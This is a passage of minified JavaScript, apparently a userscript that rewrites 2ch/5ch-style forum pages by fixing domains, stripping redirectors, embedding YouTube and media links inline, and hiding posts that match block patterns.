if(d=document.getElementsByTagName('a')){for(i=0;d.length>i;i++){d[i].href=d[i].href.replace(/(\.2ch\.net\/)/,'.5ch.net/');if(0>=d[i].href.indexOf('javascript')){continue;}d[i].href=d[i].href.replace(/(https?:\/\/)(jump\.[25]ch\.net\/\?|pinktower\.com\/\?)/img,'$1').replace(/(%2C)/img,',').replace(/(:\/\/open2ch\.net\/menu\/)$/,'://open2ch.net/menu/pc_menu.html');
d[i].innerHTML=d[i].innerHTML.replace(/(<wbr\/?>|%3Cwbr\/?%3E)/img,'').replace(/(&amp;)/img,'&');if(d[i].innerHTML.match(/(^https?:\/\/)/)){d[i].innerHTML=d[i].innerHTML.replace(/(<\/?wbr\/?>)/img,'');}}};lh=location.href;;;;;if(lh.match(/(\.open2ch\.net\/)/)){dd='dd';}else if((lh.match(/(\.vip2ch\.com\/)/))&&(!lh.match(/(\/test\/read\.cgi\/)/))){dd='p';}else if((lh.match(/(\.open2ch\.net\/|\.bbspink\.com\/)/))&&(lh.match(/(\/test\/read\.cgi\/)/))){dd='div';}else if(lh.match(/(\.2ch\.sc\/)/)){dd='dd';}else if((lh.match(/(\.5ch\.net\/)/))&&(lh.match(/(\/test\/read\.cgi\/)/))){dd='div';}else if(lh.match(/(\.5ch\.net\/)/)){dd='dd';}else{dd='dd';}
if(OFF){alert(dd);}if(d=document.getElementsByTagName(dd)){for(i=d.length-1-0*(0<lh.indexOf('.open2ch.net/'));0<=i;i--){if(('dd'==dd)&&(0<d[i].innerHTML.indexOf('<input '))){continue;}if(('div'==dd)&&('message'!=d[i].className)){continue;}if(OFF){alert(d[i].innerHTML);}d[i].innerHTML=d[i].innerHTML.replace(/( http:\/\/)/mg,'ttp://').replace(/(\>)(t?t?p?s?\:?\/\/)/img,'$1 $2').replace(/(\.gifv)/img,'.mp4').replace(/(<\/?span[^>]*>)/img,'').replace(/(<div class="group">)/img,'<br>$1').split('<div id=')[0].replace(/(<wbr\/?>|%3Cwbr\/?%3E)/img,'').replace(/( <\/a>)/img,'</a>').replace(/(\/\/https:\/\/)([\w\-]+\.5ch\.net\/)/img,'//$2').replace(/(<img src=")([^"]+)("[^>]*>)/img,'$2').replace(/(#AuroraWaveTV|#KeyHappyTV)/img,'').replace(/(\.jpg#\.jpg)/img,'.jpg').replace(/(#)(jpeg|bmp|jpg|gif|gifv|png|webp|ico|svg|svgz)/img,'#.$2').replace(/(<[^>]*>)(\s*https?:\/\/www\.youtube\.com\/\w+\s*)(<[^>]*>\s*)/img,'').replace(/(★\w+\?)(v=[\w\-]+)(★)/img,'//www.youtube.com/watch?$2').replace(/([\s\ ]+)(www\.|\.|)(youtube.com\/)/mg,'$1://www.$3').replace(/(OTTO.jpge)/img,'OTTO.jpg').replace(/(%81%9A)(\w+\?v=[\w\-]+)(%81%9A)/img,'$2').replace(/(\/\/www\.youtube\.com\/wa?t?c?h?\/\/www\.youtube\.com\/watch\?)/img,'//www.youtube.com/watch?').replace(/(\/+w+\.+youtube\.*c?o?m?\/+w?a?t?c?h?[\!\?\&\+\*\/\=\#]+v=+|\/+w*\.*youtube\.com\/+v\/+|\/+youtube\/+e?m?b?e?d?\/*|\/+youtu\.+be\/+)/img,'//youtube.com/embed/').replace(/(%26)(t=|start=|end=)/img,'&$2').replace(/(> <)/img,'> <').replace(/(EDMpzIqsRLI|EDMpzIqsRLI)(\?t=)/mg,'◆◆$1').replace(/(playlis|lis)(t=)/,'$1X=').replace(/(t=)(\d+h)(\d+m)(\d+s)/img,function($0){return('start='+(parseInt(arguments[2],10)*60*60+parseInt(arguments[3],10)*60+parseInt(arguments[4],10)*1))}).replace(/(t=)(\d+s)(\d+m)(\d+h)/img,function($0){return('start='+(parseInt(arguments[2],10)*1+parseInt(arguments[3],10)*60+parseInt(arguments[4],10)*60*60))}).replace(/(t=)(\d+h)(\d+m)/img,function($0){return('start='+(parseInt(arguments[2],10)*60*60+parseInt(arguments[3],10)*60))}).replace(/(t=)(\d+m)(\d+h)/img,function($0){return('start='+(parseInt(arguments[2],10)*60+parseInt(arguments[3],10)*60*60))}).replace(/(t=)(\d+h)(\d+s)/img,function($0){return('start='+(parseInt(arguments[2],10)*60*60+parseInt(arguments[3],10)*1))}).replace(/(t=)(\d+s)(\d+h)/img,function($0){return('start='+(parseInt(arguments[2],10)*1+parseInt(arguments[3],10)*60*60))}).replace(/(t=)(\d+m)(\d+s)/img,function($0){return('start='+(parseInt(arguments[2],10)*60+parseInt(arguments[3],10)*1))}).replace(/(t=)(\d+s)(\d+m)/img,function($0){return('start='+(parseInt(arguments[2],10)*1+parseInt(arguments[3],10)*60))}).replace(/(t=)(\d+h)/img,function($0){return('start='+(parseInt(arguments[2],10)*60*60))}).replace(/(t=)(\d+m)/img,function($0){return('start='+(parseInt(arguments[2],10)*60))}).replace(/(t=)(\d+s)/img,function($0){return('start='+(parseInt(arguments[2],10)*1))}).replace(/(playlis|lis)(X=)/,'$1t=').replace('starstart=','start=').replace(/(\/\/youtube\.com\/embed\/◆◆)(EDMpzIqsRLI|EDMpzIqsRLI)/mg,'//youtu.be/$2\?t=').replace(/(>h?t?t?p?s?:?\/\/)(\w)/mg,' >://$2').replace(/(sssp:\/\/o\.8ch\.net)/img,'http://o.8ch.net').replace(/(http:\/\/www\.xmtrading\.com\/)/img,'https://www.xmtrading.com/').replace(/(<a [^>]+>)([^<]+)(<\/a>)(\;|\~|\|)([^"<>\s ]+)/img,'<a href="$2$4$5" target=_blank>$2$4$5 </a>').replace(/(;?&amp;;?)/img,'&amp;').replace(/(\s*<\/a>\s*\;+)/img,'</a>').replace(/(lcd_technics_jenoengine\.jpg)/mg,'lcd_technics_jenoengine.jp').replace(/(lcd_technics_jenoengine\.jp)/mg,'lcd_technics_jenoengine.jpg').replace(/(yobit\.io\/)/mg,'yobit.net/').replace(/(\.xhcdn\.com\/t\/\d\d\d)(\/5_)/img,'$1/1_').replace(/(digital\/cinema\/\-\/detail\/\=\/cid\=312cp107)/img,'digital/fight/-/detail/=/cid=312cp107').replace(/(18TV\-001)/img,'18TV').replace(/(fc2.com\/\?)(&amp;|&)/img,'$1').replace(/(\/noauth\/jacket\.jpg)/img,'/noauth/jacket_240.jpg').replace(/(\:?\/\/client\.wavesplatform\.com\/|\:?\/\/waves\.exchange\/)(demo\-dex|dex)(\?)/mg,'://waves.exchange/dex-demo?').replace('http://same.ula.cc/rom48/?bbs=win','http://peace.5ch.net/win/').replace('http://same.ula.cc/rom48/?bbs=mac','http://anago.5ch.net/mac/').replace(/(RD2qjrB\-JrDcs)/gm,'PLD1D495A5B6CC4CEE').replace(/(http:\/\/www\.pinktower\.com\/\?)/img,'').replace(/(h?t?t?p?s?:?\/\/i\d+\.ytimg\.com\/\.\.\.\w+\/)(mqdefault.jpg|sddefault.jpg|maxresdefault.jpg)/img,'').replace(/(\!RDzTEYUFgLveY)/mg,'!PLBjHl6w8pExmpUGRN7zsZyqZszJtsejKp').replace(/(compress\=true )/mg,'').replace(/(!0vBiWKIyseY!RD0vBiWKIyseY!640)/img,'!0vBiWKIyseY!RD0vBiWKIyseY!735').replace(/(\/\/img\.youtube\.com\/vi\/)/mg,'//i.ytimg.com/vi/').replace(/(\/mqdefault\.jpg)/img,'/mqdefault.jpg').replace(/(\/\d+)(_295\.jpg)/img,'$1_1280x720.jpg').replace(/(\?\?list=)/img,'?&list=').replace(/(\.gif\.png)/img,'.gif').replace(/(\.info#)/mg,'#').replace('GoogleChromepy','GoogleChrome').replace(/(\/\/\w+\.)(cafemix\.\w+|atspace\.\w+)(\/[^<]*<\/a>\S*)(\s+)(<a\s+)/img,'$1$2$3<br>$5').replace(/(Xjp)(-\d+\.jpg)/mg,'$2').replace(/(\/\/\w+\.)(cafemix\.\w+|atspace\.\w+)(\/\S+)(\s+)(\w+:\/\/)/img,'$1$2$3<br>$5').replace(/(\/\/\w+\.atspace\.tv\/)/img,'//youtubetv.atspace.cc/').replace(/(https:\/\/lh5\.googleusercontent\.com\/BQ5LRojz2xPJTn-Fip0CEpZq6kghreMKqvd0YzDnp0C2eu7BfaXG9oXBPALNX-TfULe-5qUPuw=s640-h400-e365-rw\?\.jpg)/img,'https://i.imgur.com/yX5XC3D.png').replace(/(\/\/misatopology\.com\/)/img,'//misatopology.wordpress.com/').replace(/(news\.livedoor\.com\/webapp\/journal\/cid__2404141\/detail)/img,'www.asyura2.com/0601/livedoor2/msg/198.html').replace(/(;?&size=article_large)/img,'').replace(/(\w*\.?webextender\.net|userscripts\.org:8080|userscripts\.org)/img,'userscripts-mirror.org').replace(/(http:\/\/[\w\-]*\.?5ch\.net\/[\w\-]+\/userscripts|http:userscripts)/img,'http://userscripts').replace(/(https?:\/\/reocities\.com\/Tokyo\/ginza\/2250\/chan\.jpg)/mg,'').replace(/(www\.dai-ichi\.*ket\/cftc\.asp\?cd=5174)/mg,'www.dai-ichi.co.jp/market/cftc.asp?cd=5174').replace(/(www\.oanda\.com\.*x-order-book#GBP\/JPY|www\.oanda\.com\.*x-order-book\/#GBP\/JPY)/mg,'www.oanda.com/lang/ja/forex-trading/analysis/forex-order-book#GBP/JPY').replace(/(rainbow\.cafem\.*WLlbRP6d0uqlsSZFawSH|rainbow\.cafem\.*wllbrp6d0uqlsszfawsh\/)/mg,'youtubetv.atspace.cc/?sop:v/!PL7_Y2OxpmtRteWLlbRP6d0uqlsSZFawSH').replace(/(rainbow\.cafem\.*\?sop:www\/fxjpyhd#MIX|rainbow\.cafem\.*\/\?sop:www\/fxjpyhd#MIX)/mg,'youtubetv.atspace.cc/?sop:www/fxjpyhd#MIX').replace(/(EAGIrlT67Vo)/mg,'Q9IrTo071Io').replace(/(otINlMJE1Z4|dYuAKRLkMq8)/mg,'8Z2bJ33lAdU').replace(/(!RD8nc93n-06GM|!RDJzHdfqeJ1Fg|!RDnuKqiEcvXgw)/mg,'!RDeY3gnwg7I8I').replace(/(www.tsr-net.co.jp\/news\/flash\/?)/mg,'www.tsr-net.co.jp/news/tsr/').replace(/(www.tsr-net.co.jp\/news\/)(detail|creditor)(\/?)/mg,'www.tsr-net.co.jp/news/status/monthly/201706.html').replace(/(1p2Ut3hvnPk!UUes81VUptOlmWNMCgV1fmuw)/mg,'1p2Ut3hvnPk!PLhqCDnysk1jMXIw9cbwTvGoF4Sa4MfonN').replace(/(imgur\.com\/)(6nCZi5N\.png|wHkaK7g\.jpg|CVdMLL7\.png)/mg,'imgur.com/LaqSoCE.png').replace(/(https?:\/\/i\.imgur\.com\/)(ldK8g3M\.jpg|TQLmbH1\.jpg)/mg,'').replace(/(&gt;)(:\/\/)/mg,'$1 $2').replace(/(imgur\.com\/cKKj258\.png)/mg,'imgur.com/d7sMHds.png').replace(/(hMips2-LLGo)/mg,'vmKPEgUbhSU').replace(/(yjpkO0Mbu38)/mg,'iYxSJPdjywU').replace(/(IFRsmYBMXG0!RDIFRsmYBMXG0|S0P8oXpdidY!RDS0P8oXpdidY)/mg,'GW34z3OOe_U!UUHfi-y82haDRojlujSx6ZuQ').replace(/(%62logimg)/img,'blogimg').replace(/(goo\.gl\/euKoYk)/img,'goo.gl/UpahYZ').replace(/(#Xorderbook)/mg,'#7D').replace(/(C37P2dLNzJk)/mg,'Kty9MEuZeEg').replace(/(paccoinexplorer\.com\/images\/pac\.png)/mg,'i67.tinypic.com/2lxys02.png').replace(/(i67\.tinypic\.com\/4ryjkg\.jpg)/mg,'i65.tinypic.com/281cwol.jpg').replace(/(KI9CT4h\.png)/mg,'RmDW2Of.png').replace(/(2xy5Url\.png|SqNwZ93\.jpg)/mg,'I3QmChe.png').replace(/(k6F_0gG3c2Q\?t=1740)/mg,'k6F_0gG3c2Q?t=1700').replace(/(a5zE_j6j6tw)/mg,'J4Qa3wzU8w8').replace(/(\.imgur\.com\/10yt0QT\.png)/mg,'.imgur.com/Tkzzzqo.jpg').replace(/(PqK0xSiFrw8)/mg,'ATrc0CyoGlA').replace(/(g3aCy1hBjCs)/mg,'bM_vkV6bXi0').replace(/(IwLXSoQZIMM)/mg,'HeyfCLCtqxM').replace(/(luke\.dashjr\.org\/tmp\/code\/forks\-and\-altcoins\.png)/img,'i.imgur.com/HS9XDZB.png').replace(/(https?:\/\/images-na\.ssl-images-amazon\.com\/images\/I\/91ObGeC1YYL\._SL1500_\.jpg)/img,'http://i.imgur.com/zGQHs67.jpg').replace(/(art2\.photozou\.jp\/pub\/307\/145307\/photo\/6786875_624\.jpg)/img,'i.imgur.com/zH8y1FA.jpg').replace(/(ID:[\w\/\-][\w\/\-][\w\/\-][\w\/\-][\w\/\-][\w\/\-][\w\/\-][\w\/\-]NG)/img,'').replace(/(anal ysis)/img,'analysis').replace(/(\/\/www\.bloomberg\.co\.jp\/kavp\/kavp.htm\?T\=LiveJA)/img,'//rainbow.cafemix.jp/?sop:v/!RDtf5PTcLuXN4').replace(/(sop\:v\/\!)(RDtf5PTcLuXN4|RDAdRlbEAc1fY)/img,'sop:v/!PLSN-rgQVTh0Ui7O031dlOwNlyBiA3T2-z').replace(/(\/\/simplefx\.com\/)(\?sfx\-r\=)([\w\-]+)/img,'$1').replace(/(upload_id=\d+)(#.?jpg|)/mg,'$1#.jpg').replace(/(\/\/t\.co\/)(0rEgPRujXi)/mg,'//t.co/zxoXBJN9BF').replace(/(goo\.gl\/502YGB#\.webm)/mg,'goo.gl/rrg5Mv#.webm').replace(/(\.5n96gPN32Sg)(!start=2450)/mg,'$1!start=2451').replace(/(wsg\/1495714695846\.webm)/mg,'wsg/1499304854292.webm').replace(/(おまいらドバイへ急げ!)/mg,'おまいらシンガポールへ急げ!').replace(/(\s+)(t?t?ps?:\/\/)/mg,'$1://').replace(/(\/[\w\-]*\-00\d\/[^\d])/img,'/').replace(/(https?:\/\/www\.dmm\.co\.jp\/service\/[^<" ]+)/,'').replace(/(\/|\=)(wBJnJV8k-rM|0MAhlyhAwqU)/img,'$1RoeftsLYb5E').replace(/(youtube\.com\/embed\/OOH6wDQ0yC0)(\s)/,'$1?start=147$2').replace(/(RD)(wBJnJV8k-rM|0MAhlyhAwqU)/img,'$1bViZb3cKjMk').replace(/(sopcast|aurorawave|youtubetv)(\.cafemix\.jp)/mg,'rainbow.cafemix.jp').replace(/(rainbow\.cafemix\.jp)/mg,'youtubetv.atspace.cc').replace(/(\s+)(ttp:\/\/min\-fx\.jp\/market\/rate\/)(\s+<br>\s+)/img,'$1$2   ').replace(/(h)(ttp:\/\/www\.fxtechnical\.net\/saxofxrate\.html?)/img,'$2');;;;
if((location.href.match(/(\.bbspink\.|\/avplus\/|\/bishojo\/|\/sportgirls\/)/))&&(!d[i].innerHTML.match(/(\#\w|\๑)/))){d[i].innerHTML=d[i].innerHTML.replace(/(>)([^<]*)(<br>)([^<]*)(<a )/img,'$1$2<wbr>$4$5').replace(/([々ー〆ゝゞΑ-яぁ-ヶ、-z!-○ヽ-龠☆★]+.*)(\s*)(<[^\/\b]|<a[ ])/img,'$1<br>$3').replace(/([々ー〆ゝゞΑ-яぁ-ヶ、-z!-○ヽ-龠☆★]+|pc|or)(\s*)(<wbr>)/img,'$1<br>').replace(/(<\/a>)([^\<\s\ ]<)/img,'$1<br>$2').replace(/(<w?br>\s*<w?br>)/img,'<br>').replace(/(\s*<w?br>\s*<b>\s*<\/b>\s*)/img,' ').replace(/(<\/a>)(\s*<br>\s*)(<a\ )/img,'$1$3');}
if((location.href.match(/(\.bbspink\.|\/avplus\/|\/bishojo\/|\/sportgirls\/)/))&&(!d[i].innerHTML.match(/(\#\w|\๑)/))&&(d[i].innerHTML.match(/(\s+)(t?tps?:\/\/)/))){d[i].innerHTML=d[i].innerHTML.replace(/([^<]*)(<br>)([^<]*)(t?tps?:\/\/)/img,'$1<wbr>$3$4');};;;
if(0<d[i].innerHTML.indexOf('//alp.jpn.org/up/s/')){d[i].innerHTML=d[i].innerHTML.replace(/(\/\/alp\.jpn\.org\/up\/s\/)(22\d+|23\d+)(\.htm)/img,'//super.cafemix.jp/').replace(/(\?\d+)(,)([\w\-]+)(,)([\w\-]+)(,)([\w\-]+)(,)([\w\-]+)(,|)/img,'$1&$3&$5&$7&$9');}if(0<d[i].innerHTML.indexOf('%22')){d[i].innerHTML=d[i].innerHTML.replace(/(<\/?a[^>]*>)/img,'');};;;d[i].innerHTML=d[i].innerHTML.replace(/(\/web_ui\.groovy)/img,'/').replace('<hr><b>Think different? by 5ch.net/bbspink.com</b>','').replace('👀','').replace(/(<img [^>]*>[^<]*<a [^>]*>|<a [^>]*>)([^<]*)(<\/a>)(\s*)(&amp;[^<]*|[\?\&][^<]*)(<br>|<font|)/img,'<a terget="_blank" href="$2$5">$2$5</a>$6').replace(/([\w\-]+)([  ]+)([\?\&\#])/img,'$1$3').replace(/(<div class=[^>]*>[^<]*<[^>]*>[^<]*<[^>]*>[^<]*<[^>]*>[^<]*<[^>]*>)([^<]*)([^<]*<[^>]*>[^<]*<[^>]*>[^<]*<\/div>)/img,'<a terget="_blank" href="$2">$2</a>').replace(/(&amp;#\d+;)/img,function($0){return(String.fromCharCode(parseInt($0.match(/(\d+)/))))});;;if(1){d[i].innerHTML=d[i].innerHTML.replace(/(funcYoutube\(this\))/img,';').replace(/(    )/img,'    ')};d[i].innerHTML='<a href=//0.0.0.0/></a>'+d[i].innerHTML;t=d[i].innerHTML.replace(/(&amp;amp;#10005;)/img,'×').replace(/\/h?q?default\.jpg/img,'/mqdefault.jpg').replace(/(\/\/\d*i\d*\.ytimg\.com\/vi\/)([\w\-]+)(\/)(mqdefault.jpg|sddefault.jpg|maxresdefault.jpg)/mg,'//youtu.be/$2');if(0<l.indexOf('//find.moritapo.jp/')){t=t.replace(/([\w\-])([々ー〆ゝゞΑ-яぁ-ヶヽ-龠☆★])/img,'$1 $2')}if(SC){t=t.replace(/(\w+\.2ch)(\.net\/)/img,'$1.sc/');}if(t.match(/(oekaki\d+)/)){d[i].innerHTML=t;continue;}t=t.replace(/(")(<\/a>)/img,'$2"').replace(/(<\/a>)(\([\%0-9A-F]+\)[\.\w]*)/img,'$2$1');if(0>location.href.indexOf('jbbs.livedoor.jp')){t=t.replace(/(<img[^>]+>)/img,'')}d[i].innerHTML=t;;;
if(OFF){if(null!=(tt=t.match(PresetMasterBlockText))){alert(tt);}if(null!=(tt=t.match(PresetBlockText))){alert(tt);}if(null!=(tt=t.match(PresetBlockText2))){alert(tt);}};;;if((t.match(PresetMasterBlockText))||((!t.match(PresetNoBlockText))&&((t.match(PresetBlockText))||(t.match(PresetBlockText2))||(t.match(UserBlockText))||(t.match(PresetBlockImage))||(t.match(UserBlockImage))))){
if(''!=t.replace(/([\s ]+)/img,'')){if(0<t.indexOf('<hr>')){t=t.replace('<hr>','<br>')+'<hr style="display:none !important;">';}if(0<t.indexOf('<hr>')){t=t.replace('<hr>','<br>')+'<hr style="display:none !important;">';}t='<a href=javascript:; style=text-decoration:none; onclick="this.style.display=\'none\';if(f=document.getElementById(\'mg'+i+'\')){with(f){className=\'nonOFF\';}};if(f=document.getElementById(\'ng'+i+'\')){with(f){className=\'nonON\';}};" title=show>※ ('+t.replace(/(<br>|<[^>]*>|[\s ]+)/img,'').length+')</a> <a id=mg'+i+' class="nonON" terget=_blank href=https://youtu.be/w1xTO2esVcw?&list=RDw1xTO2esVcw>ばぁぼん</a><p id=ng'+i+' class="nonOFF">'+t.replace(/([\n])/img,'').replace(/(<br>|\s| )/img,'\n').replace(/(<[^>]*>)/img,'').replace(/(\n)/img,'')+'</p>';}}
else if(((t.match(/(\d{3,})(\.)/))||(0<=t.indexOf('sop:'))||(0<=t.indexOf('//')))&&((0>t.indexOf('<textarea '))||(0>t.indexOf('readonly')))){t=t.replace(/(\.)(jpeg|bmp|jpg|gif|png|webp|ico|mp4|mp|webm|ogv|gifv|svg|svgz|html?|JPEG|BMP|JPG|GIF|PNG|WEBP|ICO|MP4|MP|WEBM|OGV|GIFV|SVG|SVGZ|HTML?)([^0-9a-z\#\%\.\,\:\-\/\?\_\"\<\>\s\ ])/img,'$1$2</a> $3').replace(/(>[\s ]+)(\d{3,})(\.)([\s ])([^\d])/img,'$1http://youtubetv.cafemix.jp/?sop:3912/$2 $5').replace(/(>[\s ]+)(\d{3,})(\.)([\s ])([^\d])/img,'$1http://youtubetv.cafemix.jp/?sop:3912/$2 $5').replace(/([^=:"'\?>])(sop)(:\/?\/?[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=$2$3>$2$3</a>').replace(/([^=:"'>\(])(http:\/\/)/ig,'$1 $2').replace(/(>)(ttps?:\/\/)/g,'$1 $2').replace(/([^=:'])(H)(ttps?:\/\/[\w\-]+[^"<>\f\n\r\t\v]+)/g,'$1 <a target=_blank href="h$3">$2$3</a>').replace(/([^=:"'>Hhr])(tt|tm|ts|st)(ps?:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=htt$3>$2$3</a>').replace(/([^=:"'>])(f)(tps?:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=f$3>$2$3</a>').replace(/([^=:"'>])(mms)(:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=http$3>$2$3</a>').replace(/([^=:"'>m])(ms)(:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=http$3>$2$3</a>').replace(/([^=:"'>tsf])(t|m|s)(ps?:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=htt$3>$2$3</a>').replace(/([^=:"'>tmos])(ps?:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=htt$2>$2</a>').replace(/([^=:"'>mp])s(:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=http$2>s$2</a>').replace(/([^=:"'>\w\?\&\/\;])(:\/\/[\w\-]+[^"<>\s ]+)/g,'$1 <a target=_blank href=http$2>$2</a>').replace(/([^=:"'>\w\?\&\/\;])(\÷\/[0-9a-z][\w\-]*[^"<>\s ]+)/g,'$1 <a target=_blank href=http:$2>$2</a>').replace(/([^=:"'>\w\?\&\/\;])(\/\/img\.5ch\.net\/ico\/[^"<>\s ]+)/g,'$1 <a target=_blank href=http:$2>$2</a>');}d[i].innerHTML=t}};;mp4cnt=27;u='';
if(d=document.getElementsByTagName('a')){for(i=0;d.length>i;i++){d[i].href=d[i].href.replace(/^(https?:\/\/Xyoutubetv\.\w+\.\w+\/)/,'http://rainbow.cafemix.jp/').replace(/(\.2ch\.net\/)/,'.5ch.net/').replace('http://stickershop.','https://stickershop.').replace('lcd_technics_jenoengine.jpg','lcd_technics_jenoengine.jp').replace('lcd_technics_jenoengine.jp','lcd_technics_jenoengine.jpg').replace('//i.imgur.com/tuCgDju.gif','//i.imgur.com/tuCgDju.mp4');
if(d[i].href.match(/(https?:\/\/\w+\.)(5ch\.net|bbspink\.com)(\/\w+\/\:\/\/)/)){d[i].href=d[i].innerHTML;d[i].href=d[i].href.replace(/(https?:\/\/\w+\.)(5ch\.net|bbspink\.com)(\/\w+\/\:\/\/)/,'http://');}if(''!=d[i].onmouseover){d[i].onmouseover='';}if((!d[i].innerHTML.match(/(onload)/))&&(d[i].innerHTML.match(/(\(\d+\)\.[a-zA-Z][a-zA-Z][a-zA-Z])/))){d[i].href=d[i].innerHTML.replace(/(&amp;)/img,'&');}d[i].href=d[i].href.replace(/^(https?:\/\/)(jump\.[25]ch\.net\/\?|pinktower\.com\/\?)/img,'$1');d[i].href=d[i].href.replace(/(\/\/[\w\-]+)(%2C)([\w\-]+)(%2C)([\w\-]+\/)/,'$1.$3.$5');
d[i].href=d[i].href.replace(/^(https?:\/\/\w+\.)([52])(ch\.net\/test\/read\.cgi\/[\w\-]+\/\d+)(\/)$/mg,'$15$3/l200').replace(/^(https?:\/\/\w+\.)([52])(ch\.sc\/test\/read\.cgi\/[\w\-]+\/\d+)(\/)$/mg,'$12$3/l200').replace(/^(https?:\/\/\w+\.)(open2)(ch\.net\/test\/read\.cgi\/[\w\-]+\/\d+)(\/)$/mg,'$1open2$3/l200');d[i].innerHTML=d[i].innerHTML.replace(/^(https?:\/\/[\w\-]+\.)([52])(ch\.net\/test\/read\.cgi\/\w+\/\d+)(\/)$/mg,'$15$3/l200').replace(/^(https?:\/\/[\w\-]+\.)([52])(ch\.sc\/test\/read\.cgi\/\w+\/\d+)(\/)$/mg,'$12$3/l200').replace(/^(https?:\/\/\w+\.)(open2)(ch\.net\/test\/read\.cgi\/[\w\-]+\/\d+)(\/)$/mg,'$1open2$3/l200');
if(d[i].href.match(/(exclusiverewards\.\d+\.com|winpromo\.\d+\.com|survey\.\d+\.com|\.7113\d\d\d\.com)/)){d[i].href='javascript:;';}d[i].innerHTML+=' ';if(0<d[i].href.indexOf('.atspace.tv/')){u=''}if((open2chSW)&&(imgur=(d[i].href.match(/(\/\/imgur\.com\/\w+)/)))){d[i].innerHTML='<span class=photourl>'+d[i].href+'</span></a><a href='+u+'><img class=photoY style=position:absolute;z-index:999; onload=";if(((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\'))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';};" onerror=this.height=0;this.className=\'photoE\'; border=0 src='+d[i].href+'><b><font></font></b><img class=photoY onload=";if(((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\'))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';};" onerror=this.height=0;this.className=\'photoE\'; border=0 src='+d[i].href+'> ';};
d[i].href=d[i].href.replace(/^(https?:\/\/)(%20)(https?\/\/)/img,'$3');if(1<d[i].href.split('https//').length){d[i].href='http://'+d[i].href.split('https//')[1];}else if(1<d[i].href.split('http//').length){d[i].href='http://'+d[i].href.split('http//')[1];}
if(d[i].href.match(/(html?)$/)){d[i].href=d[i].href.replace('//www.caribbeancompr.com/moviepages/','//18tv.x.fc2.com/?290/moviepages/').replace('//www.caribbeancom.com/moviepages/','//18tv.x.fc2.com/?6/moviepages/').replace('//www.1pondo.tv/moviepages/','//18tv.x.fc2.com/?18/moviepages/').replace('//www.gachinco.com/moviepages/','//18tv.x.fc2.com/?357/moviepages/').replace('//www.xxxjg.com/moviepages/','//18tv.x.fc2.com/?44/moviepages/').replace('//www.lesshin.com/moviepages/','//18tv.x.fc2.com/?438/moviepages/').replace('//www.heyzo.com/moviepages/','//18tv.x.fc2.com/?450/moviepages/');}d[i].href=d[i].href.replace('//toro.','//peace.');d[i].innerHTML=d[i].innerHTML.replace('//toro.','//peace.');d[i].href=d[i].href.replace('/)','/');d[i].innerHTML=d[i].innerHTML.replace('/)','/');
if((l.match(/:\/\/(unkar\.org|\w*\.?2Xch\.net)\//))&&(l.match(/(^https?:\/\/)([\w\-]*\.?)(5ch\.net\/)(\w+\/\w+\.cgi\/)(\w+\/\d*\/?\w?\d*\-?\d*\/?)([^">]*$)/))){x=d[i].href;if(0>d[i].innerHTML.indexOf('元スレ')){x=x.replace(/(^https?:\/\/)([\w\-]*\.?)(5ch\.net\/)(\w+\/\w+\.cgi\/)(\w+\/\d*\/?\w?\d*\-?\d*\/?)([^">]*$)/img,'$1unkar.org/r/$5');}if(0<x.indexOf('-')){x=x.split('-')[0]+'-'+Math.min(1000-p,(p+parseInt(x.substr(x.lastIndexOf('/')+1).split('-')[0])))};d[i].href=x}
if((0<mp4cnt)&&(d[i].href.match(/(\.)(mp4|mp|webm|ogv|gifv)(\:|\?|$)/))){mp4cnt=mp4cnt;if(d[i].href.match(/(:\/\/i\.imgur\.com\/\w+\.mp4)/)){d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><video muted loop autoplay class=photo style=position:absolute;z-index:999; onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+d[i].href+'"></video><b><font></font></b><img class=photoY style=position:absolute;z-index:998; onload=if((((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\')))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';} onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+d[i].href.replace('.mp4','.jpg')+'"><b><font></font></b><img class=photoY onload=if((((161==this.width)&&(81==this.height))&&(this.src.indexOf(\'imgur.com/\')))){this.height=0;this.className=\'photoE\';}else{this.className=\'photo\';} onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+d[i].href.replace('.mp4','.jpg')+'">';}
else{d[i].innerHTML='<span class=photourl>'+d[i].innerHTML+'</span><video muted loop autoplay class=photo style=position:absolute;z-index:999; onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+d[i].href+'"></video><b><font></font></b><img class=photo style=position:absolute;z-index:998; onerror=this.height=0;this.className=\'photoE\'; border=0 src="//i.imgur.com/U0cfmMn.png"><b><font></font></b><img class=photo onerror=this.height=0;this.className=\'photoE\'; border=0 src="//i.imgur.com/U0cfmMn.png">';};}
if((1)&&(d[i].href.match(/(\.)(mp3|m4a|ogg)(\:|\?|$)/))){if(1){d[i].innerHTML='<span valign=top class=photourl>'+d[i].innerHTML+'</span><audio controls loop class=photo onerror=this.height=0;this.className=\'photoE\'; border=0 src="'+d[i].href+'"></audio>';};}
else if((1)&&(d[i].href.match(/(\/maps\/embed\?pb=|\/intl\/\w+\/sky\/\#|\/Xculturalinstitute\/beta\/)/))&&(!d[i].href.match(/(\/\/goo\.gl\/maps\/)/))){d[i].innerHTML+='<iframe scrolling=no style="background:black;display:block !important;width:'+(WIDTH)+'px !important;height:'+Math.floor(WIDTH*(1+(16/9-1)*(0<d[i].href.indexOf('/sky/'))))+'px !important;border:0px !important;" src="'+(d[i].href=d[i].href.replace(/(\#sk[yi]s?$|\#arts?$|\/$)/,''))+'"></iframe>'}
